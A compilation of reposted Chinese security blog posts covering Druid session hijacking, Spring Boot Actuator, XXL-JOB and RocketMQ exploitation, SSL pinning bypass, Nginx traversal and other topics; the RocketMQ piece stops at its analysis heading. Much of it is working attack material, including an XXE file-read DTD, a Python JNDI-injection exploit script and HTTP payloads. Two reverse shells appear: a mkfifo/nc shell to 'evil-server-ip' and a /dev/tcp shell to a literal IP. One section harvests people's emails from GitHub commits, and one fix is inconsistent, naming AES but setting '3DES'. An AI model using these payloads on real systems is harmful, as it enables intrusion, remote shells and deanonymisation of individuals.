Druid未授权访问利用

Druid未授权访问利用

本文转自春日野穹 并作补充

引言

最近挖SRC经常遇到Druid未授权访问漏洞,觉得过程比较有趣,所以简单记录一下

Druid简介

druid是阿里研发的一款数据库连接池,其开发语言为java,druid集合了c3p0、dbcp、proxool等连接池的优点,还加入了日志监控、session监控等数据监控功能,使用Druid能有效的监控DB池连接和SQL的执行情况。
更多信息可参考官方GitHub项目:https://github.com/alibaba/druid
druid虽高效好用,但当开发者配置不当时就可能造成未授权访问,攻击者可利用泄露的Session登录后台

Druid未授权访问路径

怎么探寻Druid未授权访问呢?可以直接拼接以下路径进行访问,如果页面存在,即为Druid未授权访问

1
2
3
4
5
6
7
8
9
10
11
12
html:
ip/druid/index.html ##Druid Index
ip/druid/sql.html ##Druid sql监控页面
ip/druid/weburi.html ##Druid Web URI监控页面
ip/druid/websession.html ##Druid Web Session监控页面

json:
ip/druid/weburi.json ##Druid Web URI json
ip/druid/websession.json ##Druid Web Session json

Druid 登录接口:
ip/druid/login.html ##Druid登录认证页面

当一级目录不存在时,可尝试拼接二级目录进行访问
也可利用谷歌语法或目录扫描工具进行探测:
image

提取session

访问ip/druid/weburi.html看到以下页面则证明漏洞可被利用,如果url和session页面都为空,则说明这两项druid并不管理
image

当/druid/websession.html页面存在数据时,我们可利用该页面的session伪造登录,点击最后访问时间,然后复制一条离现在时间最为接近的session进行伪造登录;之所以要点击最后访问时间排序session,是因为此处记录的Session并非全部都是用户在线时的session,当用户退出系统时,session虽然还存在,但已失效,无法再利用。
也可利用py提取session然后结合burp的Intruder模块批量遍历高权限用户,session地址可参考上面给出的链接
image

如果我们并不清楚后台的位置,我们可再把脚本改一下,利用url监控处为我们提供清晰的站点目录架构
image

ok,得到后台地址,接下来我们访问一下
image

重新刷新一下页面,然后开启burp进行抓包,抓包过程中发现站点cookie值存在session字段,点击最后访问时间排序一下session,随后复制session过来访问一下
image

毫无意外,成功进去,但是权限不高,看来还是得开启神奇的Intruder模块,爆破结果如下
image

根据返回包信息看哪条session权限高就用它伪造登录
注:除session伪造外,url监控和sql监控也能为我们开拓攻击的思路,当我们遇到一个注入且不清楚其语法结构时,查看sql监控处有可能会得到,此外,url监控处也为我们提供了较为清晰的站点目录架构

session伪造进后台

之后就是替换cookie值伪造登录了,f12改一下session值即可
image

结语

druid作为数据源的一名后起之秀,凭借其出色的性能,渐渐被大家使用。当然还有他的监控页面也有这非常大的作用。但是监控页面往往包含了很多隐私的数据信息,所以需要将其保密,可以为监控页面添加一个用户名和密码,确保其安全性

Spring Boot Actuator 漏洞利用

Spring Boot Actuator 漏洞利用

本文转自诺言 并作补充

前言

Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。

漏洞发现

通常通过两个位置判断网站是否使用了Spring Boot框架。
1、网站图片文件是一个绿色的树叶。
2、特有的报错信息。
image

影响版本

Spring Boot < 1.5 默认未授权访问所有端点
Spring Boot >= 1.5 默认只允许访问/health和/info端点,但是此安全性通常被应用程序开发人员禁用

端点描述

官方文档对每个端点的功能进行了描述。

1
2
3
4
5
6
7
8
9
10
11
12
路径            描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

Spring Boot 1.x版本端点在根URL下注册。
image

Spring Boot 2.x版本端点移动到/actuator/路径。
image

本文中端点的位置都是基于网站根目录下,实战中遇到的情况是,端点可能存放在多级目录下,需要自行进行寻找。
访问/trace端点获取到近期服务器收到的请求信息。
如果存在登录用户的操作请求,可以伪造cookie进行登录。
image

访问/env端点获取环境属性。
数据库账户泄漏
image

Jolokia端点利用

大多数Actuator仅支持GET请求并仅显示敏感的配置数据,如果使用了不当的Jolokia端点,可能会产生XXE、甚至是RCE安全问题。

reloadByURL方法

查看/jolokia/list 中存在的 Mbeans,是否存在logback 库提供的reloadByURL方法。
image

xxe漏洞实现

reloadByURL方法,允许远程加载logback.xml 配置文件,并且解析 xml 文件未做任何过滤措施,导致了xxe漏洞。
1、创建logback.xml和fileread.dtd文件

1
2
3
4
5
logback.xml,地址为公网vpsweb服务地址。

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd">%remote;%int;]>
<a>&trick;</a>
1
2
3
4
fileread.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

2、把创建的logback.xml和fileread.dtd文件上传到公网vps的web目录下。
image

3、远程访问logback.xml文件。

1
www.xxx.com/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml

成功利用xxe读取到etc/passwd文件内容。
image

远程代码执行实现

可以在logback.xml中使用insertFromJNDI标签,这个标签允许我们从 JNDI 加载变量,导致了rce漏洞产生。
rce的流程主要分为4步。详细过程
1、构造 Get 请求访问目标,使其去外部服务器加载恶意 logback.xml 文件。
2、解析 logback.xml 时,最终会触发 InitialContext.lookup(URI) 操作,而URI 为恶意 RMI 服务地址。
3、恶意 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定了目标本地存在的 BeanFactory 类,以及Bean Class 的类名、属性、属性值(这里为 ELProcessor 、x、eval(…))。
4、目标在进行 lookup() 操作时,会动态加载并实例化 BeanFactory 类,接着调用 factory.getObjectInstance() 方法,通过反射的方式实例化 Reference 所指向的任意 Bean Class,并且会调用 setter 方法为所有的属性赋值。对应我们的代码,最终调用 setter 方法的时候,就是执行如下代码:

1
ELProcessor.eval(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc evil-server-ip port >/tmp/f']).start()\"

而 ELProcessor.eval() 会对 EL 表达式(这里为反弹 shell)进行求值,最终达到 RCE 的效果。

下载rce利用代码
修改Spring-Boot-Actuator-Exploit\maliciousRMIServer\src\main\java\hello\EvilRMIServer.java的代码。
可以修改RMI远程监听的端口,和反弹shell的地址和端口。
image
使用maven对java代码进行编译打包。
进入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目录,执行mvn clean install
打包成功后创建target目录下生成RMIServer-0.1.0.jar文件。
image

image

1
2
3
4
5
修改logback.xml文件内容。

<configuration>
<insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
</configuration>

把RMIServer-0.1.0.jar文件上传到公网vps上。
执行RMIServer-0.1.0.jar文件,开启攻击机上的RMI监听时需要通过’Djava.rmi.server.hostname=x.x.x.x’指定自己的RMI监听的外网地址。
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
image

vps使用nc监听反弹shell指定的端口。
nc -lvp 9998
在漏洞url访问:
http://x.x.x.x/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!114.x.x.x!/logback.xml
image
成功反弹shell。
image

createJNDIRealm方法

相关原理请查看Attack Spring Boot Actuator via jolokia Part 2
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法,可能存在JNDI注入,导致远程代码执行。
image

利用过程分为五步。
1、创建 JNDIRealm
2、写入 contextFactory 为 RegistryContextFactory
3、写入 connectionURL 为你的 RMI Service URL
4、停止 Realm
5、启动 Realm 以触发 JNDI 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
可以使用burp一步步重放,也可以直接使用python脚本执行。
import requests as req
import sys
from pprint import pprint

url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://x.x.x.x:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
#运行Realm,触发JNDI 注入
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())

使用之前打包好的jar包-RMIServer-0.1.0.jar,运行RMI服务
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
image

使用nc监听反弹的端口nc -lvp 9998
image

使用python发送请求python exp.py http://x.x.x.x:8087
image

成功反弹shell。
image

spring Cloud env

当spring boot使用Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE
漏洞原理参考https://www.anquanke.com/post/id/195929

利用范围

Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
Spring Boot <= 1.4 可利用成功

利用过程

大致原理分为2步。
1、利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://x.x.x.x/yaml-payload.yml
2、请求 /refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行。
下载使用Michael Stepankin大牛提供的exp
更改执行的命令。
image

1
2
3
4
将java文件进行编译

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

把生成的jar文件挂载到公网http服务器。
修改 spring.cloud.bootstrap.location为外部 yml 配置文件地址。

1
2
3
4
5
6
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml

image

请求 /refresh 接口触发

1
2
3
4
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

命令执行成功。
image

参考文章

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
http://radiosong.cn/index.php/2019/04/03/1.html
https://xz.aliyun.com/t/4258
http://r3start.net/index.php/2019/01/20/377
https://github.com/mpgn/Spring-Boot-Actuator-Exploit
https://www.secshi.com/21506.html
https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/#0x04-%E6%9E%84%E9%80%A0poc
https://www.anquanke.com/post/id/195929
http://vulsee.com/archives/vulsee_2019/1025_9168.html

XXL-JOB executor未授权访问漏洞

XXL-JOB executor未授权访问漏洞

漏洞详情

XXL-JOB是一个轻量级分布式任务调度平台。默认情况下XXL-JOB的Restful API接口或RPC接口没有配置认证措施,未授权的攻击者可构造恶意请求,造成远程执行命令,直接控制服务器。

漏洞影响

XXL-JOB <= 2.2.0

漏洞分析

XXL-JOB的Restful API分为两种,一个 调度中心Restful API,一个 执行器Restful API。其中在执行器Restful API的任务触发声明中,发送请求的数据格式为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
地址格式:
{执行器内嵌服务跟地址}/run //也就是说为executor端的地址,ip:9999/run

Header:
XXL-JOB-ACCESS-TOKEN : {请求令牌}

请求数据格式如下,放置在 RequestBody 中,JSON格式:
{
"jobId":1, // 任务ID
"executorHandler":"demoJobHandler", // 任务标识
"executorParams":"demoJobHandler", // 任务参数
"executorBlockStrategy":"COVER_EARLY", // 任务阻塞策略,可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum
"executorTimeout":0, // 任务超时时间,单位秒,大于零时生效
"logId":1, // 本次调度日志ID
"logDateTime":1586629003729, // 本次调度日志时间
"glueType":"BEAN", // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum "glueSource":"xxx", // GLUE脚本代码
"glueUpdatetime":1586629003727, // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
"broadcastIndex":0, // 分片参数:当前分片
"broadcastTotal":0 // 分片参数:总分片
}

响应数据格式:
{ "code": 200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 }

其中”glueType”:”BEAN” 任务模式的选值如下

1
2
3
4
5
6
7
BEAN("BEAN", false, null, null),
GLUE_GROOVY("GLUE(Java)", false, null, null),
GLUE_SHELL("GLUE(Shell)", true, "bash", ".sh"),
GLUE_PYTHON("GLUE(Python)", true, "python", ".py"),
GLUE_PHP("GLUE(PHP)", true, "php", ".php"),
GLUE_NODEJS("GLUE(Nodejs)", true, "node", ".js"),
GLUE_POWERSHELL("GLUE(PowerShell)", true, "powershell", ".ps1");

也就是说我们可以从中任意选择一种脚本语言,然后在”glueSource”:”xxx”中插入相对应的脚本代码即可执行相对应的命令。

比如对方如果是linux系统的服务器,那么就可以构造反弹shell命令执行代码为:

1
2
"glueType":"GLUE_SHELLl"
"glueSource":"/bin/bash / -i >& /dev/tcp/ip/port 0>&1"

漏洞利用

访问XXL-JOB存在漏洞版本的客户端(executor),利用burpsuite发送如下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /run HTTP/1.1
Host: ip:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 394

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "/bin/bash -i >& /dev/tcp/192.168.30.1/5555 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

image

开启监听后,即可反弹回shell

image

夜神模拟器+Xposed框架+JustTrustMe(用来禁用、绕过 SSL 证书检查)来突破SSL Pinning

夜神模拟器+Xposed框架+JustTrustMe(用来禁用、绕过 SSL 证书检查)来突破SSL Pinning

本文转自sort浅忆 并作补充

1.夜神模拟器官网下载安装 模拟器

2.创建一个安卓5.1版本的模拟器

image

3.把xposed.apk 拖入夜神模拟器 ( Android 5.1.版本,xposed3.1.5 版本)

image

4.安装xposed框架

image

image

image

下载安装完成后, 重启系统

5.安装JustTrustMe.apk

点击“模块”,此时还没有可用的模块,同样的方法点击apk+导入之前下载好的JustTrustMe的apk安装包,系统会自动安装,安装完成后,在模块里面点击“软重启”,再次打开“模块”界面,即可看到JustTrustMe,勾选一下,启用这个模块:

image

6.重启生效, 接下载安装 fiddler证书, 设置WLAN代理

如何通过 Github 找到一个人?

如何通过 Github 找到一个人?

本文转自白宦成 并作补充

很多时候,我们都需要找到一个人的联系方式。但是,并不是每一次我们都可以很好的拿到他的联系方式,这个时候,我们就需要借助一些奇技淫巧来找到一个人的联系方式。

Requirements

Github 账号

你要找的人的 GitHub 账号(需要其账号下有仓库)

原理

在我们使用 Git 进行版本控制时,一开始,我们会被要求设置一个 Git 的用户名和邮箱,就像下面这样。

image

后续,我们的每一个 Commit 都会基于我们填写的用户名和邮箱来进行存储。我们只需要查询一个人在 Github 的提交记录,就可以找到他填写在 Git 中的邮箱和名字,从而方便我们更进一步找到这个人。

实践

想要通过 Git 找到一个人的邮箱,最简单的方法就是使用 Github 提供的 GraphQL 来进行查询,简单方便。

访问Github 的 GraphQL API Explorer,点击右侧的 Sign in ,使用你的 Github 账号登陆,这样就可以调用 Github 的 API 了。

image

登陆后,你下方的 GraphQL 输入框就可以输入内容了。在其中输入如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
repository(name: "grank", owner: "lctt") {
ref(qualifiedName: "master") {
target {
... on Commit {
id
history(first: 5) {
edges {
node {
author {
name
email
}
}
}
}
}
}
}
}
}

并将 name 替换为你要查询的人的 repo 名,owner 改为你需要查询的人的名字,然后点击执行按钮。

image

右侧会出现你的执行结果,你会发现,其中出现我们想要的“邮箱”地址。

image

你会发现,这里其实有两种类型的邮箱,一种是我们常见的,自己用的各种免费邮箱,比如 @qq.com、@gmail.com、@foxmail.com 之类的;另一种是形如 27856297+dependabot-preview[bot]@users.noreply.github.com 这样的邮箱。

这两种邮箱的区别是,前者是我们自己通过 git 设置的邮箱,而后者则是我们通过 Github 网页、 API 操作产生的 commit 。你在查询的时候,要记得去找第一类邮箱来作为参考。

当然,不排除有开发者在看了本篇文章后,去用 private 邮箱修改自己本地的 Git ,那就没办法了。

找到这个邮箱以后怎么办呢?

直接发邮件联系
如果是 QQ 邮箱、 Foxmail ,可以试着直接用邮箱,或者邮箱里的 QQ 号加好友。
通过 Google 搜索这个邮箱,查找其他的关联信息。

Nginx错误配置alias导致目录遍历漏洞

Nginx错误配置alias导致目录遍历漏洞

本文转自BlackWolf 并作补充

0x00 前言

nginx错误配置alias,导致存在目录遍历,可跳出限制读取上一层目录及其任意子目录的文件的任意文件。

0x01 环境搭建

使用richarvey/nginx-php-fpm镜像

1
docker run -d -p 80:80  richarvey/nginx-php-fpm

配置nginx,添加配置test路由解析到/var/www/html/路径(注意:/test没有结尾的/)

1
2
3
4
# /etc/nginx/sites-available/default.conf
location /test {
alias /var/www/html/;
}

对应Web服务的文件结构,目标是目录遍历获取flag.txt的内容

1
2
3
4
5
6
|--var
|--www
|--flag.txt
|--html
|--index.php
|--test.txt

0x02 漏洞利用

通过访问http://127.0.0.1/test/test.txt

可以成功访问到test的内容如下(/test/test.txt路由请求,经处理后转换成:/var/www/html/test.txt):

this is a test

修改请求为http://127.0.0.1/test../flag.txt,可以成功跳到上一层目录下,读取到flag.txt的内容(`/test../flag.txt`路由请求,经处理后转换成:`/var/www/flag.txt`)

you get me, hahaha

0x03 小结

只能跳到上一层目录,读取上一层目录及其任意子目录的文件,不能任意目录遍历读取任意文件,有局限性。

需要nginx配置缺陷,实战情况比较有限,但是真实存在(如:参考链接3)。

一种场景是:很多网站会把备份文件放置在网页目录的上一层路径下,利用遍历读取备份文件;另一种场景是:路由限制到上传或静态图片路径,利用遍历读取上一层路径下的配置文件等。

0x04 参考链接

https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md
https://hackerone.com/reports/317201
https://hackerone.com/reports/312510

怎么把网站crossdomain.xml配置风险去除

怎么把网站crossdomain.xml配置风险去除

本文转自nanjingbolg 并作补充

打开程序目录下的crossdomain.xml文件,确保配置只对提供安全资源的可信域开放:

源代码如下:

1
<?xml version=”1.0″?><!DOCTYPE cross-domain-policy SYSTEM ”http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd”><cross-domain-policy><allow-access-from domain=”*” /></cross-domain-policy>

文件中的allow-access-from 实体设置为星号设置为允许任何域访问,将其修改为:

<allow-access-from domain=”*.17showshow.com” />

*.17showshow.com 换为您自己的域名(注意是一级域名)。

表示只允许本域访问,该问题就解决了。

关于CVE-2022-33980 Apache Commons Configuration 远程命令执行漏洞分析

关于CVE-2022-33980 Apache Commons Configuration 远程命令执行漏洞分析

本文转自星阑科技 并作补充

漏洞描述

7月6日,Apache官方发布安全公告,修复了一个存在于Apache Commons Configuration 组件的远程代码执行漏洞,漏洞编号:CVE-2022-33980,漏洞威胁等级:高危。恶意攻击者通过该漏洞,可在目标服务器上实现任意代码执行。

相关介绍

Apache Commons Configuration是一个Java应用程序的配置管理工具,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。在一些配置文件较多较复杂的情况下,使用该配置工具比较可以简化配置文件的解析和管理,提高开发效率和软件的可维护性。

利用范围

2.4 <= Apache Commons Configuration <=2.7

前置知识

什么是变量插值?

通常我们用apach的configuration2库来管理配置文件(org.apache.commons:commons-configuration2),在commons-configuration2管理的配置文件中,配置变量的值可以引用变量。举个例子:${env:xxhzz}就指代环境变量xxhzz,在commons-configuration2中这种引用动态变量的方式就叫变量插值。

变量插值解析:在commons-configuration2中,负责对字符串中的变量进行解析的是org.apache.commons.configuration2.interpol.ConfigurationInterpolator类中的interpolate(Object)方法。

漏洞原理

image

从漏洞通告中,可以得知Apache Commons Configuration执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位执行插值的org.apache.commons.configuration2.interpol.Lookup 实例。

从2.4版到2.7版,默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器。如公告中提到“script” 可使用JVM脚本执行引擎(javax.script)执行表达式,若使用了不受信任的配置值,在受影响的版本中使用插值默认值的应用程序就很可能受到远程代码执行的影响。

环境搭建

了解了漏洞原理后,为更好理解漏洞的形成,需构建一个调试的demo环境。

通过maven直接引入Apache Commons Configuration2.7。

image

接着构建一个触发漏洞的主类即可

image

动态调式

在对插值变量进行解析的地方打下断点。

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate

image

开启debug模式,在经过了前两个if判断之后,随后会进入resolveSingleVariable函数。

image

在org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolveSingleVariable中首先跟一下extractVariableName函数。

image

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#extractVariableName的作用是提取变量字符串strValue。

image

随后进入org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolve函数中,通过index0f查找和判断条件,从变量字符串中分别获取到prefix和name。

image

继续跟进会进入lookup函数。

image

在分析lookup函数前先跟进下fetchLookupForPrefix函数。

image

fetchLookupForPrefix函数的作用是获取到stringLookup对象。

继续跟进,会进入commons-text-1.8.jar包中的org.apache.commons.text.lookup.ScriptStringLookup#lookup函数。

image

在org.apache.commons.text.lookup.ScriptStringLookup#lookup函数中会再次对字符串进行分割,分别提取engineName和script。

image

接着会通过getEngineByName函数获取ScriptEngine(javax.script)。

image

继续往下,出现eval函数。而我们知道eval函数可计算某个字符串,并执行其中的的JavaScript 代码。

image

继续往下将成功触发我们传入的payload,造成远程命令执行。

漏洞复现

image

​成功命令执行。

image

修复建议

目前官方已发布修复版本修复了该漏洞,请受影响的用户升级到 Apache Commons Configuration 2.8.0 版本。
https://commons.apache.org/proper/commons-configuration/download_configuration.cgi

参考材料

1.https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s
2.https://cloud.tencent.com/devel

未加密的__VIEWSTATE参数

未加密的__VIEWSTATE参数

本文转自默默提升实验室 并作补充

0. 知识补充

表单提交在遇到服务器返回错误时候,再次填写表单时,上次填写的值不会被清空。

维持ViewState是ASP.NET Web Forms的默认设置。如果你想不维持ViewState,需在.aspx页面顶部包含提示<%@Page EnableViewState=“false” %>,或者或者向任意控件添加属性EnableViewState=“false” 。

没有设置维持ViewState,当点击按钮提交,表单值将消失。

ViewState是如何使用的

ViewState 基本上由服务器生成,并以隐藏的表单字段 “_VIEWSTATE” 的形式发送给客户端,用于“POST”请求。当Web应用程序进行 POST 请求时,客户端将其发送到服务器。

ViewState 以序列化数据的形式出现,当客户端再次进行请求(ViewState)被发送到服务器时,将进行反序列化。

为了使 ViewState 不受篡改,存在一个启用 ViewState MAC 的选项,通过设置一个值并在反序列化期间对 ViewState 的值进行完整性检查。

1. 漏洞描述

__VIEWSTATE 参数未加密,存在有人拦截存储在 ViewState 中的信息的机会。

2. 漏洞危害

可能导致敏感信息泄露。

3. 漏洞验证

使用工具:Burp Suit,需要安装插件ViewState Editor,如下图所示:

image

POC:{EXTRACTED_STRINGS}:string= -2140192582

image

查看存在该问题的页面源码,搜索__VIEWSTATE,可以看到对应的value值,对该段值进行base64解码。可以得到对应的信息,在Burp Suit中使用 ViewState Decoder插件可以进行解码。

image
image

其他解码工具

网页:https://www.httpdebugger.com/tools/ViewstateDecoder.aspx

image

软件:ViewStateDecoder2.0.exe

image

4. 漏洞建议

请将machineKey验证类型设置为AES。这将使得 ASP.NET 使用AES算法加密ViewState 值。

​打开 Web.Config 并在 <system.web> 元素下添加以下行:如下:

<system.web> <machinekey validation="3DES"></machinekey></system.web>

machineKey 元素(ASP.NET 设置架构)

关于ViewState的相关demo案例:ViewState 反序列化及其利用

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析

本文转自Sunflower@知道创宇404实验室 并作补充

1.漏洞介绍

Apache RocketMQ 存在远程命令执行漏洞(CVE-2023-33246)。RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。

2.漏洞版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

3.环境搭建

使用docker拉取漏洞环境

1
docker pull apache/rocketmq:4.9.5

运行docker run命令,搭建docker环境

1
2
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf

docker ps检查docker正常启动即可

image

4.RocketMQ简介

我们平时使用一些体育新闻软件,会订阅自己喜欢的一些球队板块,当有作者发表文章到相关的板块,我们就能收到相关的新闻推送。

发布-订阅(Pub/Sub)是一种消息范式,消息的发送者(称为发布者、生产者、Producer)会将消息直接发送给特定的接收者(称为订阅者、消费者、Comsumer)。而RocketMQ的基础消息模型就是一个简单的Pub/Sub模型[1]。

4.1 RocketMQ的部署模型

Producer、Consumer又是如何找到Topic和Broker的地址呢?消息的具体发送和接收又是怎么进行的呢?

image

4.2 名字服务器 NameServer

NameServer是一个简单的 Topic 路由注册中心,支持 Topic、Broker 的动态注册与发现。

主要包括两个功能:
Broker管理,NameServer接受Broker集群的注册信息并且保存下来作为路由信息的基本数据。然后提供心跳检测机制,检查Broker是否还存活;
路由信息管理,每个NameServer将保存关于 Broker 集群的整个路由信息和用于客户端查询的队列信息。Producer和Consumer通过NameServer就可以知道整个Broker集群的路由信息,从而进行消息的投递和消费。

4.3 代理服务器 Broker

Broker主要负责消息的存储、投递和查询以及服务高可用保证。

NameServer几乎无状态节点,因此可集群部署,节点之间无任何信息同步。Broker部署相对复杂。

在 Master-Slave 架构中,Broker 分为 Master 与 Slave。一个Master可以对应多个Slave,但是一个Slave只能对应一个Master。Master 与 Slave 的对应关系通过指定相同的BrokerName,不同的BrokerId 来定义,BrokerId为0表示Master,非0表示Slave。Master也可以部署多个。

4.4 消息收发

在进行消息收发之前,我们需要告诉客户端NameServer的地址,RocketMQ有多种方式在客户端中设置NameServer地址,举例三个,优先级由高到低,高优先级会覆盖低优先级。

代码中指定Name Server地址,多个namesrv地址之间用分号分割

1
2
producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");  
consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");

Java启动参数中指定Name Server地址

1
-Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876  

环境变量指定Name Server地址

1
export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876

4.5 漏洞主要涉及的类的介绍

4.5.1 DefaultMQAdminExt

DefaultMQAdminExt是 RocketMQ 提供的一个扩展类。它提供了一些管理和操作 RocketMQ 的工具方法,可以用于管理主题(Topic)、消费者组(Consumer Group)、订阅关系等。

DefaultMQAdminExt类提供了一些常用的方法,包括创建和删除主题、查询主题信息、查询消费者组信息、更新订阅关系等。它可以通过与 NameServer 交互来获取和修改相关配置信息,并提供了对 RocketMQ 的管理功能。

例如DefaultMQAdminExt更新broker配置的一个方法(更新的配置文件为broker.conf):

1
2
3
4
5
public void updateBrokerConfig(String brokerAddr,
Properties properties) throws RemotingConnectException, RemotingSendRequestException,
RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException {
defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties);
}

4.5.2 FilterServerManager

在 Apache RocketMQ 中,FilterServerManager 类是用于管理过滤服务器(Filter Server)的类。过滤服务器是 RocketMQ 中的一种组件,用于支持消息过滤功能。过滤服务器负责处理消息过滤规则的注册、更新和删除,以及消息过滤的评估和匹配。

5.漏洞分析

